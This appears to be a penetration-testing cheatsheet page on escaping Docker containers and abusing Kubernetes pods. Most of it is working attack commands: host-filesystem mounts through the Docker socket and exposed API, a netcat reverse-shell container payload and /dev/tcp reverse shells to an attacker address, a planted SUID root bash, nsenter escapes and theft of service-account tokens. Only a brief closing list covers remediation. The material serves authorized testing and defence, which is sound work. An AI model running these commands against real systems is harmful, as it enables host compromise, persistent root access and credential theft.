Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 02. Containers / Container Escape

Cheatsheet

Use this as a quick reference for Docker container escapes.


Fast Checks

id
cat /.dockerenv 2>/dev/null
grep -iE "docker|containerd|kubepods|lxc" /proc/1/cgroup
capsh --print
mount
findmnt
ls -la /var/run/docker.sock
cat /proc/self/status | grep -E "Cap|Seccomp"

Docker Socket

ls -la /var/run/docker.sock
docker version
docker ps
docker run --rm -it -v /:/host alpine chroot /host /bin/sh
docker run -v /:/host -it alpine chroot /host bash
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh

Without Docker CLI:

apk add docker
apt-get update && apt-get install docker.io
curl --unix-socket /var/run/docker.sock http://localhost/version
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

Create via Unix socket:

curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id; hostname; cat /host/etc/os-release"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' http://localhost/containers/create
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start

Docker API

curl http://TARGET:2375/version
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json

Create/start/logs:

curl -X POST http://TARGET:2375/v1.40/containers/create -H "Content-Type: application/json" --data-binary @payload.json
curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/start
curl "http://TARGET:2375/v1.40/containers/CONTAINER_ID/logs?stdout=1&stderr=1"

Reverse shell payload body:

{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/hostfs"],
    "NetworkMode": "host"
  }
}

Stop/delete:

curl -X POST http://TARGET:2375/v1.40/containers/CONTAINER_ID/stop -H "Content-Type: application/json"
curl -X DELETE http://TARGET:2375/v1.40/containers/CONTAINER_ID?force=true

Host Mounts

mount
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS
ls -la /host /hostfs /mnt 2>/dev/null
cat /host/etc/os-release 2>/dev/null

Chroot:

chroot /host /bin/sh

SUID bash proof:

cp /bin/bash /host/tmp/rootbash
chown root:root /host/tmp/rootbash
chmod 4755 /host/tmp/rootbash

Run from the host:

/tmp/rootbash -p

Capabilities

capsh --print
cat /proc/self/status | grep Cap
capsh --print | grep sys_admin
mkdir -p /mnt/host
# only works when the device exists, is exposed, and the filesystem type matches
mount -t ext4 /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

High value:

CAP_SYS_ADMIN
CAP_SYS_PTRACE
CAP_DAC_READ_SEARCH
CAP_DAC_OVERRIDE
CAP_SYS_MODULE
CAP_SYS_CHROOT
CAP_NET_ADMIN
CAP_MKNOD

Namespaces

ps aux
readlink /proc/self/ns/*
readlink /proc/1/ns/*
which nsenter
nsenter -t 1 -m -u -i -n -p -- /bin/sh
busybox nsenter -t 1 -m -u -i -n -p -- /bin/sh

Host-context reverse shell:

chroot /hostfs /bin/sh -i >& /dev/tcp/ATTACKER_IP/7777 0>&1
nsenter -t 1 -m -u -i -n -p -- /bin/sh -i >& /dev/tcp/ATTACKER_IP/7777 0>&1

Docker Inspect Templates

docker inspect --format '{{ .HostConfig.Privileged }}' CONTAINER
docker inspect --format '{{ json .Mounts }}' CONTAINER
docker inspect --format '{{ .HostConfig.PidMode }}' CONTAINER
docker inspect --format '{{ .HostConfig.NetworkMode }}' CONTAINER
docker inspect --format '{{ json .HostConfig.CapAdd }}' CONTAINER
docker inspect --format '{{ json .Config.Env }}' CONTAINER

Tools

deepce
CDK
amicontained
linpeas
crictl
ctr
nerdctl
kubectl

Kubernetes From Pod

env | grep -i kubernetes
ls -la /var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
curl --cacert "$CA" -H "Authorization: Bearer $TOKEN" "$API/version"

With kubectl:

kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

Runtime Sockets

ls -la /run/containerd/containerd.sock
ls -la /var/run/crio/crio.sock
ctr namespaces list
crictl ps
nerdctl ps

Remediation Memory Hook

no socket
no API
no privileged
drop caps
non-root user
read-only rootfs
narrow mounts
seccomp/AppArmor on
patch kernel/runtime
monitor docker events